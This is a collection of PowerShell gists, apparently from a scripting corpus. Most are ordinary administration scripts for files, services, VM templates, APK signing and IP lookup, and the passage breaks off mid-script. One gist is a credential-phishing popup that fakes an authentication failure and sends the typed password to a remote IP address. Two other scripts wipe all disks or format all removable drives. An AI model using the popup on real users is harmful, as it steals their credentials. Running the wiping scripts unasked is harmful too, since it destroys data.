$Folder = "\\server\path" $Files = Get-ChildItem -Path $Folder -Recurse $OldestDate = New-Object System.DateTime(1,1,1970) $NewestDate = $(Get-Date).AddDays(1) $CurrentDate = Get-Date foreach($File in $Files) { if($File.CreationTime -lt $OldestDate -or $File.CreationTime -gt $NewestDate) { $File.CreationTime = $CurrentDate } if($File.LastWriteTime -lt $OldestDate -or $File.LastWriteTime -gt $NewestDate -or $File.LastWriteTime -lt $File.CreationTime) { $File.LastWriteTime = $CurrentDate } if($File.LastAccessTime -lt $OldestDate -or $File.LastAccessTime -gt $NewestDate -or $File.LastAccessTime -lt $File.CreationTime) { $File.LastAccessTime = $CurrentDate } }
PowerShellCorpus/GithubGist/jonschoning_5551567_raw_408b5832c845242d81a424508e51c4fc9a091be9_Write-ZipUsing7Zip.ps1
jonschoning_5551567_raw_408b5832c845242d81a424508e51c4fc9a091be9_Write-ZipUsing7Zip.ps1
# Write-ZipUsing7Zip -FilesToZip "C:\SomeFolder" -ZipOutputFilePath "C:\SomeFolder.zip" -Password "password123" # Write-ZipUsing7Zip "C:\Folder\*.txt" "C:\FoldersTxtFiles.zip" -HideWindow function Write-ZipUsing7Zip([string]$FilesToZip, [string]$ZipOutputFilePath, [string]$Password, [switch]$HideWindow) { # Look for the 7zip executable. $pathTo32Bit7Zip = "C:\Program Files (x86)\7-Zip\7z.exe" $pathTo64Bit7Zip = "C:\Program Files\7-Zip\7z.exe" $THIS_SCRIPTS_DIRECTORY = Split-Path $script:MyInvocation.MyCommand.Path $pathToStandAloneExe = Join-Path $THIS_SCRIPTS_DIRECTORY "7za.exe" if (Test-Path $pathTo64Bit7Zip) { $pathTo7ZipExe = $pathTo64Bit7Zip } elseif (Test-Path $pathTo32Bit7Zip) { $pathTo7ZipExe = $pathTo32Bit7Zip } elseif (Test-Path $pathToStandAloneExe) { $pathTo7ZipExe = $pathToStandAloneExe } else { throw "Could not find the 7-zip executable." } # Delete the destination zip file if it already exists (i.e. overwrite it). if (Test-Path $ZipOutputFilePath) { Remove-Item $ZipOutputFilePath -Force } $windowStyle = "Normal" if ($HideWindow) { $windowStyle = "Hidden" } # Create the arguments to use to zip up the files. # Command-line argument syntax can be found at: http://www.dotnetperls.com/7-zip-examples $arguments = "a -tzip ""$ZipOutputFilePath"" ""$FilesToZip"" -mx9" if (!([string]::IsNullOrEmpty($Password))) { $arguments += " -p$Password" } # Zip up the files. $p = Start-Process $pathTo7ZipExe -ArgumentList $arguments -Wait -PassThru -WindowStyle $windowStyle # If the files were not zipped successfully. if (!(($p.HasExited -eq $true) -and ($p.ExitCode -eq 0))) { throw "There was a problem creating the zip file '$ZipFilePath'." } }
PowerShellCorpus/GithubGist/jacobludriks_0f9047a6d3011f13b90f_raw_9607469d2dae993c7de1c97c6e09e58b8ddb3b90_localadministrator.ps1
jacobludriks_0f9047a6d3011f13b90f_raw_9607469d2dae993c7de1c97c6e09e58b8ddb3b90_localadministrator.ps1
#servers ou $serverou = "OU=All Member Servers,DC=domain,DC=com" #all servers $servers = Get-ADComputer -Filter * -SearchBase $serverou $array = @() foreach ($server in $servers) { $Error.Clear() $wmi = Get-WmiObject -ComputerName $server.name -Query "SELECT * FROM Win32_GroupUser WHERE GroupComponent=`"Win32_Group.Domain='$($server.name)',Name='Administrators'`"" -ErrorAction SilentlyContinue if ($wmi) { foreach ($item in $wmi) { $string = $item.partcomponent -split "\," if ($string[0] -like "*Win32_UserAccount*") { $type = "User" } elseif ($string[0] -like "*Win32_Group*") { $type = "Group" } else { $type = "Unknown" } $domain = (($string[0] -split "=")[1]).Replace("""","") $user = (($string[1] -split "=")[1]).Replace("""","") $temp = @{"Server" = $($server.name); "Domain" = $domain; "User" = $user; "Type" = $type} $array += new-object psobject -property $temp } Write-Host "Successfully got list from $($server.name)" } else { $ErrorCode = $Error[0].Exception switch -regex ($ErrorCode) { ("The RPC server is unavailable") { Write-Host "RPC Unavailable on $($server.name)" continue } ("Access denied") { Write-Host "Access Denied on $($server.name)" continue } ("Access is denied") { Write-Host "Access Denied on $($server.name)" continue } } } } $array | ft
PowerShellCorpus/GithubGist/mattheyan_4598498_raw_d8b16a68f2e235f779fb6a101231ededfaf7cbf5_Get-VisualStudioProjects.ps1
mattheyan_4598498_raw_d8b16a68f2e235f779fb6a101231ededfaf7cbf5_Get-VisualStudioProjects.ps1
$name = "__NAME__" $expr = "ProjectReference Include=`"[^`"]+" + $name + "\.csproj`">" Get-Project -All | ? { (get-content $_.FullName) -match $expr }
PowerShellCorpus/GithubGist/t-mat_8258624_raw_a086b9e6df1a16abb11b4b4b2547210f7743d111_hammerwatch-assets-bin-unpacker.ps1
t-mat_8258624_raw_a086b9e6df1a16abb11b4b4b2547210f7743d111_hammerwatch-assets-bin-unpacker.ps1
<# /* unpack 'C:\Program Files (x86)\Steam\steamapps\common\Hammerwatch\assets.bin' +0 int8[4] 'HWRA' 0x48, 0x57, 0x52, 0x41 +4 int32 number of files +8 file #0 file +0 int8 filename_len +1 int8[filename_len] filename (not NUL(0x00) terminated) +1+filename_len int32 file_len +5+filename_len int8[file_len] file binary */ #> Add-Type -Type @" //" using System; using System.Text; using System.IO; using System.Net.Sockets; namespace HammerWatchUnofficalTools { public static class AssetsBinUnpacker { public static void Unpack(string[] args) { string inputFilename = args[0]; string outputBaseDir = args[1]; BinaryReader br = new BinaryReader(File.Open(inputFilename, FileMode.Open)); byte[] magic = br.ReadBytes(4); int nFile = br.ReadInt32(); for(int iFile = 0; iFile < nFile; ++iFile) { int namelen = br.ReadByte(); byte[] name = br.ReadBytes(namelen); int bodylen = br.ReadInt32(); byte[] body = br.ReadBytes(bodylen); string filename = System.Text.Encoding.UTF8.GetString(name); filename = Path.Combine(outputBaseDir, filename); { string dirname = Path.GetDirectoryName(filename); if(! string.IsNullOrEmpty(dirname) && ! Directory.Exists(dirname)) { Directory.CreateDirectory(dirname); } } Console.WriteLine(filename); File.WriteAllBytes(filename, body); } } public static void Main(string[] args) { Unpack(args); } } } "@ #" # end Add-Type $inputFilename = "assets.bin" $outputBaseDir = "__unpacked__assets.bin" [HammerWatchUnofficalTools.AssetsBinUnpacker]::Main(@($inputFilename, $outputBaseDir))
PowerShellCorpus/GithubGist/mubix_b0fee7ba02ba8a225125_raw_a29a2fa819a61309f08bbe812d74dcde0766ae38_powershellpopup.ps1
mubix_b0fee7ba02ba8a225125_raw_a29a2fa819a61309f08bbe812d74dcde0766ae38_powershellpopup.ps1
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $wc = new-object net.webclient; $wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); $result = $wc.downloadstring('https://172.16.102.163');
PowerShellCorpus/GithubGist/cbmeeks_4286686_raw_97400edde3453ad2d278f7aa67c7d6a56f36e5e0_Cleanup-Folders.ps1
cbmeeks_4286686_raw_97400edde3453ad2d278f7aa67c7d6a56f36e5e0_Cleanup-Folders.ps1
function Cleanup-Folders($path) { if($path) { Get-ChildItem -recurse | Where {$_.PSIsContainer -and @(Get-ChildItem -Lit $_.Fullname -r | Where {!$_.PSIsContainer}).Length -eq 0} | Remove-Item -recurse -whatif } } Cleanup-Folders "c:\temp\blah"
PowerShellCorpus/GithubGist/alienone_6eed416c5ffeb8500764_raw_12ea4f6b09d20d5af606ea0e0da2064d2edb6ee9_legacy.ps1
alienone_6eed416c5ffeb8500764_raw_12ea4f6b09d20d5af606ea0e0da2064d2edb6ee9_legacy.ps1
<# .SYNOPSIS This script is utilized to append JMX remote management parameters to an ArcSight Smart Connector's agent.properties file Function: Append Parameters Author: Justin Jessup Contributions: Bob Fialla - utilize literal Regex, utilize counter $remote_port Email: Justin@alienonesecurity.com Required Dependencies: Run script as Administrator Optional Dependencies: None Version: 0.5 .DESCRIPTION - Ensure script is being executed by the Administrator user - Find any remote.management artifacts within agent.properties file and zero out the lines - Leveraging process table determine $PATH/S to ArcSight Smart Connector - return array of $paths - We now know the $PATHS to the agent.properties files for any smart connector installed on the system - Ensure a unique TCP port 9001 +1 - if more than one smart connector - each smart connector will have unique management port - We can now append the remaining remote management parameters - Conduct a clean stop, then a clean start of the smart connector/s on the system .EXAMPLE remote.management.enabled=true remote.management.listener.host=simcone05.jello.com remote.management.listener.port=9002 remote.management.user=jello remote.management.password=lemon_jello remote.management.ssl.organizational.unit=UkY20YBABCAAdL0V69WOw .NOTES RETURN CODES -- FunctionName: TestUserPermissions -- Return Code 10 => TestUserPermissions -> Test verified script is excuting as the Administrator user Return Code 11 => TestUserPermissions -> Test failed - script is not being executed as the Administrator user FunctionName: FindReplaceLine -- Return Code 20 => FindReplaceLine -> Any 'remote.management' parameters within the ArcSight Smart Connector agent.properties file have been removed FunctionName: AppendRemote -- Return Code 30 => AppendRemote -> 'remote.management' parameters added to the ArcSight Smart Connector/s agent.properties/'s file/s Return Code 31 => AppendRemote -> 'agent.properties' file does not exist at PATH: continuing FunctionName: StopStart -- Return Code 0 => StopStart -> Conducted clean stop of the ArcSight Windows Service Return Code 0 => StopStart -> Conducted clean start of the ArcSight Windows Service Return Code 40 => Stopping Service Failed Return Code 50 => Starting Service Failed Return Code 98 => First Global Failure Return Code 99 => Global Failure .LINK GITHUB: https://gist.github.com/alienone/7883f311c26c57f0de17 #> Function LogWrite($logstring){ $hostname = $env:computername $LogPath = "C:\Windows\Temp\" $logfilename = $hostname + "-powershell-arcsight-remote.txt" $Logfile = $LogPath + $logfilename $timestamp = $((get-date).ToString("yyyy:MM:dd:T:hh:mm:ss:CDT")) Add-content $Logfile -value ($timestamp + " " + $logstring) } Function TestUserPermissions{ $currentUser = [Environment]::UserName If ($currentUser -eq "Administrator") { $return_code_one = @" Return Code 0 => TestUserPermissions -> Test verified script is excuting as the Administrator user "@ LogWrite $return_code_one return 0 }Else{ $return_code_two = @" Run this script as the Administrator user Return Code 11 => TestUserPermissions -> Test failed - script is not being executed as the Administrator user "@ LogWrite $return_code_two return 11 Break } } Function FindReplaceLine{ $paths = (gwmi win32_service|?{$_.name -like "*arc_*"}).pathname foreach ($path in $paths) { $str_array = $path.split('"')[1] $pos = $str_array.IndexOf("\bin") $arc_home_path = $str_array.SubString(0, $pos) $agent_properties = $arc_home_path + "\user\agent\agent.properties" (Get-Content $agent_properties) | Foreach-Object{$_ -replace '^remote.+', ""} ` | Add-Content $agent_properties (Select-String -Pattern "\w" -Path $agent_properties) | ForEach-Object { $_.line } ` | Set-Content -Path $agent_properties $return_code = @" Return Code 0 => FindReplaceLine -> Any 'remote.management' parameters within the ArcSight Smart Connector agent.properties file have been removed "@ LogWrite $return_code return 0 } } Function AppendRemote($remote_param_array){ $remote_port = 9002 $paths = (gwmi win32_service|?{$_.name -like "*arc_*"}).pathname foreach ($path in $paths) { $str_array = $path.split('"')[1] $pos = $str_array.IndexOf("\bin") $arc_home_path = $str_array.SubString(0, $pos) $agent_properties = $arc_home_path + "\user\agent\agent.properties" If (Test-Path $agent_properties) { Add-Content -Path $agent_properties -Value "`r`nremote.management.listener.port=$remote_port" $remote_port++ foreach ($param in $remote_param_array) {Add-Content -Path $agent_properties -Value "`n$param"} }Else{ LogWrite "31" LogWrite "Smart Connector Path $agent_properties" $return_code_one = @" Return Code 31 => AppendRemote -> 'agent.properties' file does not exist at PATH "@ LogWrite "`t`t`t" + $agent_properties LogWrite $return_code_one LogWrite "continuing ...." continue } $return_code_two = @" Return Code 0 => AppendRemote -> 'remote.management' parameters added to the ArcSight Smart Connector/s agent.properties/'s file/s "@ LogWrite $return_code_two return 0 } } Function StopStart{ $service_hash = Get-Service | Where-Object {$_.name -like '*arc_*'} $service_array = $service_hash.Name foreach($service in $service_array) { If (Stop-Service $service -PassThru){ "0" LogWrite "Return Code 0 => StopStart -> Conducted clean stop of the ArcSight Windows Service" }Else{ "40" "98" LogWrite "Return Code 40 => Stopping Service Failed" LogWrite "Return Code 98 => First Global Failure" } If (Start-Service $service -PassThru) { "0" LogWrite "Return Code 0 => StopStart -> Conducted clean start of the ArcSight Windows Service" }Else{ "50" "99" LogWrite "Return Code 50 => Starting Service Failed" LogWrite "Return Code 99 => Global Failure" } } } Function MainFunction{ $remote_param_array = ("remote.management.enabled=true", ` "remote.management.listener.host=SIMCONC05.target.com", ` "remote.management.user=lemon", ` "remote.management.password.hashed=OBFUSCATE.4.8.1:P2pyGopvrRzq2l9Loi8jlw==", ` "remote.management.ssl.enabled=true") #TestUserPermissions FindReplaceLine AppendRemote $remote_param_array StopStart } MainFunction
PowerShellCorpus/GithubGist/jstangroome_506252_raw_88eef54b9f661e30cce3d862db2ece9969895fd0_Export-VMTemplate.ps1
jstangroome_506252_raw_88eef54b9f661e30cce3d862db2ece9969895fd0_Export-VMTemplate.ps1
#requires -version 2.0 param ( [parameter(Mandatory=$true)] $VM, [parameter(Mandatory=$true)] [string] $TemplateName, $VMMServer, [parameter(Mandatory=$true)] $LibraryServer, [switch] $PassThru ) $ErrorActionPreference = 'Stop' Set-StrictMode -Version Latest Add-PSSnapin -Name Microsoft.SystemCenter.VirtualMachineManager -ErrorAction SilentlyContinue if (-not $VMMServer) { $VMMServer = [Microsoft.SystemCenter.VirtualMachineManager.Remoting.ServerConnection]::ActiveConnection } elseif ($VMMServer -is [string]) { $VMMServer = Get-VMMServer -ComputerName $VMMServer } elseif ($VMMServer -isnot [Microsoft.SystemCenter.VirtualMachineManager.Remoting.ServerConnection]) { throw 'VMMServer parameter must be a string or ServerConnection' } if ($VM -is [string]) { $VM = Get-VM -Name $VM } elseif ($VM -isnot [Microsoft.SystemCenter.VirtualMachineManager.VM]) { throw 'VM parameter must be a string or VM' } if ($LibraryServer -is [string]) { $LibraryServer = Get-LibraryServer -ComputerName $LibraryServer } elseif ($LibraryServer -isnot [Microsoft.SystemCenter.VirtualMachineManager.LibraryServer]) { throw 'LibraryServer parameter must be a string or LibraryServer' } # Check VM Additions are installed if (-not $VM.HasVMAdditions) { throw 'VM must have VM Additions installed' } $Response = Read-Host -Prompt "Does the local Administrator account for $($VM.Name) have a blank password?" if ($Response -notlike 'y*') { throw 'Set the local Administrator account password to blank before creating a template.' } $WasRunning = $VM.Status -eq 'Running' if ($VM.Status -ne 'PowerOff') { Write-Host 'Shutting down VM...' $VM | Shutdown-VM | Out-Null } Write-Host 'Dismounting DVD drives...' $VM.VirtualDVDDrives | Where-Object { $_.Connection -ne 'None' } | ForEach-Object { $_ | Set-VirtualDVDDrive -NoMedia | Out-Null } $VMPath = $VM.VMHost.VMPaths | Select-Object -First 1 $SharePath = Get-LibraryShare | Where-Object { $_.LibraryServer -eq $LibraryServer } | Select -First 1 -ExpandProperty Path Write-Host 'Cloning VM...' $CloneVM = New-VM -VM $VM -VMHost $VM.VMHost -Name $TemplateName -Path $VMPath Write-Host 'Creating template...' $Template = New-Template -Name $TemplateName -VM $CloneVM -LibraryServer $LibraryServer -SharePath $SharePath if ($WasRunning) { Write-Host 'Restarting VM...' $VM | Start-VM | Out-Null } if ($PassThru) { Write-Output $Template }
PowerShellCorpus/GithubGist/sduplooy_3304441_raw_03c26eeb5bb59b36101dc4b37cfc7bbeea27c379_MassFlash.ps1
sduplooy_3304441_raw_03c26eeb5bb59b36101dc4b37cfc7bbeea27c379_MassFlash.ps1
Write-Host "MassFlash – Version 1.0" Write-Host "Author: SS du Plooy" Write-Host "———————–" If($args.Length -eq 0) { $DirectoryToCopy = "c:DefaultFromCopyLocation" } Else { $DirectoryToCopy = $args[0] } Write-Host "Preparing flash disks with files from" $DirectoryToCopy $drives = Get-WmiObject Win32_LogicalDisk -filter "DriveType=2" Foreach($drive in $drives) { [int] $driveSize = $drive.Size/1073741824 #convert to gigabytes If($driveSize -ge 1 -and $driveSize -le 64) { $driveLetter = $drive.DeviceID $volume = Get-WmiObject -Class Win32_Volume -Filter "DriveLetter = ‘$driveLetter’" $label = "MF"+$(get-date -f ssfff) Write-Host Formatting drive $driveLetter [$label] [$driveSize GB] $volume.Format("FAT32", $true, 4096, $label, $false) Write-Host "Copying $DirectoryToCopy to $driveLetter" Copy-Item $DirectoryToCopy $driveLetter -recurse Write-Host Dismounting drive $driveLetter $volume.Dismount($true, $false) } } Write-Host "Done."
PowerShellCorpus/GithubGist/andrewseward_1322222_raw_b3fbf9dad44f0daf959ccfed1e3d8b0c05876b0c_checkservice.ps1
andrewseward_1322222_raw_b3fbf9dad44f0daf959ccfed1e3d8b0c05876b0c_checkservice.ps1
$service1 = Get-Service -name "My Service Name" -ErrorAction SilentlyContinue if (!$service1) { "service1 is not installed" }
PowerShellCorpus/GithubGist/jstangroome_791112_raw_11fa92cb7d98c8832626ed689264b2498caab42b_Send-RemotingFile.ps1
jstangroome_791112_raw_11fa92cb7d98c8832626ed689264b2498caab42b_Send-RemotingFile.ps1
#requires -version 2.0 [CmdletBinding()] param ( [Parameter(Mandatory=$true)] [string] $ComputerName, [Parameter(Mandatory=$true)] [string] $Path, [Parameter(Mandatory=$true)] [string] $Destination, [int] $TransferChunkSize = 0x10000 ) function Initialize-TempScript ($Path) { "<# DATA" | Set-Content -Path $Path } function Complete-Chunk () { @" DATA #> `$TransferPath = `$Env:TEMP | Join-Path -ChildPath '$TransferId' `$InData = `$false `$WriteStream = [IO.File]::OpenWrite(`$TransferPath) try { `$WriteStream.Seek(0, 'End') | Out-Null `$MyInvocation.MyCommand.Definition -split "``n" | ForEach-Object { if (`$InData) { `$InData = -not `$_.StartsWith('DATA #>') if (`$InData) { `$WriteBuffer = [Convert]::FromBase64String(`$_) `$WriteStream.Write(`$WriteBuffer, 0, `$WriteBuffer.Length) } } else { `$InData = `$_.StartsWith('<# DATA') } } } finally { `$WriteStream.Close() } "@ } function Complete-FinalChunk ($Destination) { @" `$TransferPath | Move-Item -Destination '$Destination' -Force "@ } $ErrorActionPreference = 'Stop' Set-StrictMode -Version Latest $EncodingChunkSize = 57 * 100 if ($EncodingChunkSize % 57 -ne 0) { throw "EncodingChunkSize must be a multiple of 57" } $TransferId = [Guid]::NewGuid().ToString() $Path = ($Path | Resolve-Path).ProviderPath $ReadBuffer = New-Object -TypeName byte[] -ArgumentList $EncodingChunkSize $TempPath = ([IO.Path]::GetTempFileName() | % { $_ | Move-Item -Destination "$_.ps1" -PassThru}).FullName $Session = New-PSSession -ComputerName $ComputerName $ReadStream = [IO.File]::OpenRead($Path) $ChunkCount = 0 Initialize-TempScript -Path $TempPath try { do { $ReadCount = $ReadStream.Read($ReadBuffer, 0, $EncodingChunkSize) if ($ReadCount -gt 0) { [Convert]::ToBase64String($ReadBuffer, 0, $ReadCount, 'InsertLineBreaks') | Add-Content -Path $TempPath } $ChunkCount += $ReadCount if ($ChunkCount -ge $TransferChunkSize -or $ReadCount -eq 0) { # send Write-Verbose "Sending chunk $TransferIndex" Complete-Chunk | Add-Content -Path $TempPath if ($ReadCount -eq 0) { Complete-FinalChunk -Destination $Destination | Add-Content -Path $TempPath Write-Verbose "Sending final chunk" } Invoke-Command -Session $Session -FilePath $TempPath # reset $ChunkCount = 0 Initialize-TempScript -Path $TempPath } } while ($ReadCount -gt 0) } finally { if ($ReadStream) { $ReadStream.Close() } $Session | Remove-PSSession $TempPath | Remove-Item }
PowerShellCorpus/GithubGist/guitarrapc_d89fbd801be78b907924_raw_6878b6973f074096b01e0eea8008c60fa0c5aacb_ConfiguraionMultpleHost.ps1
guitarrapc_d89fbd801be78b907924_raw_6878b6973f074096b01e0eea8008c60fa0c5aacb_ConfiguraionMultpleHost.ps1
Configuration Service { $service = "WinRM", "Winmgmt" $state = "Running" $startupType = "Automatic" Node ("127.0.0.1", "192.168.1.1") { foreach ($x in $service) { Service $x { Name = $x State = $state StartupType = $startupType } } } } Service -OutputPath service
PowerShellCorpus/GithubGist/rysstad_7c765f840156a68ca30a_raw_bc39a68d97d5b3e75f5e83cfa3605c9bceb53a04_Install-MSIPackage.ps1
rysstad_7c765f840156a68ca30a_raw_bc39a68d97d5b3e75f5e83cfa3605c9bceb53a04_Install-MSIPackage.ps1
$msiPackageToInstall = "<path to .msi>" # save log from installation to temp file $tmpFile = [System.IO.Path]::GetTempFileName() Start-Process msiexec -ArgumentList "/i $msiPackageToInstall /qn /L*v $tmpFile" -NoNewWindow -Wait
PowerShellCorpus/GithubGist/nsabine_6177413_raw_e4352f4357c78a0c40d2303b78e7aa7de2d946a5_create_spanned_drive.ps1
nsabine_6177413_raw_e4352f4357c78a0c40d2303b78e7aa7de2d946a5_create_spanned_drive.ps1
$disks = (wmic diskdrive list brief | measure-object -line | select -ExpandProperty Lines)-2 1..$disks | ForEach-Object -Begin {$a = $null} -Process { $a += $("select disk "+$_+[char][int](13)+[char][int](10)) ; $a += "online disk noerr "+[char][int](13)+[char][int](10) ; $a += "clean "+[char][int](13)+[char][int](10) ; $a += "attributes disk clear readonly noerr "+[char][int](13)+[char][int](10) ; $a += "convert dynamic noerr "+[char][int](13)+[char][int](10) ;} -End { $a += "exit"+[char][int](13)+[char][int](10) ; $a | Set-Content c:\diskpart1.txt -Encoding ASCII } $a = "create volume stripe disk=1" 2..$disks | ForEach-Object -Process {$a += ","+$_} $a += [char][int](13)+[char][int](10) $a += "format fs=ntfs label=scratch quick"+[char][int](13)+[char][int](10) $a += "assign letter=z"+[char][int](13)+[char][int](10) $a += "exit"+[char][int](13)+[char][int](10) $a | Set-Content c:\diskpart2.txt -Encoding ASCII Diskpart /s c:\diskpart1.txt Diskpart /s c:\diskpart2.txt
PowerShellCorpus/GithubGist/beastienopol_652849e96dfa887f498d_raw_41feef4f2369ebf410eb7214b078a17157e24f45_ren_all_files_in_dir.ps1
beastienopol_652849e96dfa887f498d_raw_41feef4f2369ebf410eb7214b078a17157e24f45_ren_all_files_in_dir.ps1
#Rename all files in a directory , setting all characters to lowercase and excluding directories gci -Path D:\temp\ -File -Filter "txt*" | foreach{$_| Rename-Item -NewName $_.Name.ToLower()} -ErrorAction SilentlyContinue #Rename all files in a directory , change only the first letter to lowercase gci -Path D:\temp\ -File -Filter "*.txt" | foreach{$_| ` Rename-Item -NewName $($_.Name.substring(0,1).Tolower() + $_.Name.Substring(1))} -ErrorAction SilentlyContinue #rename only x first file in directory , changing the first letter to lower case, if the source equals the destination we get an error message gci -Path D:\temp\ -File -Filter "*.txt" | Select-Object -First 9 | foreach{$_| ` Rename-Item -NewName $($_.Name.substring(0,1).Tolower() + $_.Name.Substring(1))} -ErrorAction SilentlyContinue #test if first letter is uppercase or lowercase to avoid errors gci -Path D:\temp\ -File - Filter "*.txt"| Select-Object -First 10| foreach{$_| Rename-Item -NewName $(if($_.name.substring(0,1) -cmatch "[a-z]") {$_.Name.substring(0,1).ToUpper() + $_.Name.Substring(1)} elseif ($_.Name.substring(0,1) -cmatch "[A-Z]") {$_.Name.substring(0,1).ToLower() + $_.Name.Substring(1)}) } -ErrorAction SilentlyContinue
PowerShellCorpus/GithubGist/virtualdreams_3949d80ac61590160159_raw_34633b9761e3b18352ad0a76ae520766edb3f02f_git-hash.ps1
virtualdreams_3949d80ac61590160159_raw_34633b9761e3b18352ad0a76ae520766edb3f02f_git-hash.ps1
<# Notes: Author: Thomas Kindler Date: 10.10.2014 Parameters file: path to file git: path to git binary Example: PS C:\ git-hash.ps1 -file "/foo/bar" powershell -file "/path/to/git-hash.ps1" -file "/path/to/file" [-git "/path/to/git"] #> param ( [string]$file, [string]$git = 'C:\Program Files (x86)\Git\bin\git.exe' ) ### test if target file exists if(!$file -or !(Test-Path $file)) { Write-Host "Path is not set or found." return } ### test if git executeable exists if(!(Test-Path $git)) { Write-Host "git command could not be found." return } ### set git exe as alias New-item alias:git -value $git | Out-Null if(!(Get-Command git -TotalCount 1 -ErrorAction SilentlyContinue)) { Write-Host "git alias could not be found." return } ### pattern to search $pattern = "\[assembly: AssemblyInformationalVersion\(""(.*)""\)\]" $update = $false $revision = git describe --long --always --dirty=-dev if($?) { $content = Get-Content $file -Encoding UTF8 $replace = @() foreach($line in $content) { if($line -match $pattern) { $value = [string]$matches[1] if($value -ne $revision) { $line = "[assembly: AssemblyInformationalVersion(""{0}"")]" -f $revision Write-Host ([string]::Format("Hash updated to: {0}", $revision)) $update = $true } } $replace += [Array]$line } if($update -eq $true) { $replace | Out-File $file -Encoding UTF8 -force } } else { Write-Host "git returned an error: $lastexitcode." }
PowerShellCorpus/GithubGist/goyuix_9773727_raw_fa4ce7929743e01866fe03551d19479040ea847a_AddManagedProperty.ps1
goyuix_9773727_raw_fa4ce7929743e01866fe03551d19479040ea847a_AddManagedProperty.ps1
# Description: script to create a managed property for search that maps to the Active (ows_RoutingEnabled) site column # a few convenience variables $YesNo = [Microsoft.SharePoint.Search.Administration.ManagedDataType]::YesNo $searchApp = Get-SPEnterpriseSearchServiceApplication # get reference to "Active" property - internally known as ows_RoutingEnabled $crawledProperty = Get-SPEnterpriseSearchMetadataCrawledProperty -SearchApplication $searchApp -Name ows_RoutingEnabled $crawledProperty.IsMappedToContents = $true $crawledProperty.Update() # get reference to Active managed property or create if needed $managedProperty = Get-SPEnterpriseSearchMetadataManagedProperty -SearchApplication $searchApp | ? { $_.Name -eq "Active" } if ($managedProperty -eq $null) { $managedProperty = New-SPEnterpriseSearchMetadataManagedProperty -Name Active -SearchApplication $searchApp -Type $YesNo -EnabledForScoping $true } #get reference to Active managed property mapping and add ows_RoutingEnabled crawled property if needed $mapping = Get-SPEnterpriseSearchMetadataMapping -SearchApplication $searchApp -ManagedProperty Active | ? { $_.CrawledPropertyName -eq "ows_RoutingEnabled" } if ($mapping -eq $null) { New-SPEnterpriseSearchMetadataMapping -SearchApplication $searchApp -ManagedProperty $managedProperty -CrawledProperty $crawledProperty } else { "Warning: mapping already exists between Active and ows_RoutingEnabled" }
PowerShellCorpus/GithubGist/postb99_8319234_raw_f102435d0cd4403e8c022fa05118c2ccd339ddae_apk.ps1
postb99_8319234_raw_f102435d0cd4403e8c022fa05118c2ccd339ddae_apk.ps1
Param( [string]$projectPath=$(throw "projectPath is required (full path to .csproj file)"), [string]$packageName=$(throw "packageName is required"), [string]$configurationDirName=$(throw "configurationDirName is required"), [string]$keyAlias=$(throw "keyAlias is required (keystore key alias)") ) # Parameters are defined at first line of powershell script. # Thanks to http://docs.xamarin.com/guides/android/deployment%2C_testing%2C_and_metrics/publishing_an_application/part_1_-_preparing_an_application_for_release for this script # Parameters : # - "projectPath" : project .csproj full path # - "packageName" : package name for apk file name and package display name on Google play store. # - "configurationDirName" : user friendly directory name, where to : find the keystore, archive the aligned APK. # Prerequisites : # - msbuild.exe directory, such as "C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\", should be added to system path # - %JAVA_HOME% should be defined and "%JAVA_HOME%\bin" added to system path too. # First clean the Release target. msbuild.exe $projectPath /p:Configuration=Release /t:Clean # project directory, reused later $apkdir = split-path $projectPath # Build the project, using the Release target. msbuild.exe $projectPath /p:Configuration=Release /t:PackageForAndroid # At this point there is only the unsigned APK - sign it. # The script will pause here as jarsigner prompts for the password. # It is possible to provide they keystore password for jarsigner.exe by adding an extra command line parameter -storepass, for example # -storepass <MY_SECRET_PASSWORD> # If this script is to be checked in to source code control then it is not recommended to include the password as part of this script. $apkdir +="\bin\Release\" if(!(Test-Path($apkdir+${packageName}+".apk"))) { echo("Android.Manifest file should define this package name : ${packageName}") return } & jarsigner.exe -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore "D:\SomePath\${configurationDirName}\${packageName}.keystore" -signedjar "${apkdir}${packageName}-signed.apk" "${apkdir}${packageName}.apk" ${keyAlias} # Now zipalign it. The -v parameter tells zipalign to verify the APK afterwards. $zipalign = $env:LOCALAPPDATA $zipalign += "\Android\android-sdk\tools\zipalign.exe" & "${zipalign}" -f -v 4 "${apkdir}${packageName}-signed.apk" "${apkdir}${packageName}-Aligned.apk" # Now archive apk files but not an intermediate one & xcopy ${apkdir}${packageName}.apk D:\Developpement\Configuration\Android\${configurationDirName}\ /Y & xcopy ${apkdir}${packageName}-Aligned.apk D:\Developpement\Configuration\Android\${configurationDirName}\ /Y
PowerShellCorpus/GithubGist/jrothmanshore_2656003_raw_c555622680f2f9ebc281c1dc5be5f8d23e23360f_ip_lookup.ps1
jrothmanshore_2656003_raw_c555622680f2f9ebc281c1dc5be5f8d23e23360f_ip_lookup.ps1
$stop = $args.Count $inputIP = "" $inputFile = "" $knownIPFile = "" $showUsage = 0 $verbose = 0 for ($i = 0; $i -lt $stop; $i++) { if ($args[$i] -eq "-f") { if ( ($i + 1) -eq $stop) { $showUsage = 1 } else { $i++ $inputFile = $args[$i] } } elseif ($args[$i] -eq "-k") { if ( ($i + 1) -eq $stop) { $showUsage = 1 } else { $i++ $knownIPFile = $args[$i] } } elseif ($args[$i] -eq "-verbose") { $verbose = 1 } else { if ( ($i + 1) -eq $stop) { $inputIP = $args[$i] } else { $showUsage = 1 } } } if ($stop -eq 0) { $showUsage = 1 } if ($showUsage) { Write-Host "Usage: ip_lookup.ps1 [-multiline] [-k <KNOWN_IP_FILE] -f <FILENAME>" Write-Host " ip_lookup.ps1 [-multiline] [-k <KNOWN_IP_FILE] <IP_ADDRESS>" Write-Error "Bad Input" exit } $knownIPs = @{} function LoadKnownIPs($knownIPList) { # File should be IP<TAB>Description $reader = [System.IO.File]::OpenText($knownIPList) $line = $reader.ReadLine() while( $line) { $result = $line.Split("`t") if ($result.Count -le 2) { $knownIPs[$result[0].Trim()] = $result[1] } else { Write-Output ("-" + $result[0].Trim() + "-") Write-Output "Error at $line with " + $result.Count } $line = $reader.ReadLine() } $reader.Close() } if ( $knownIPFile -ne 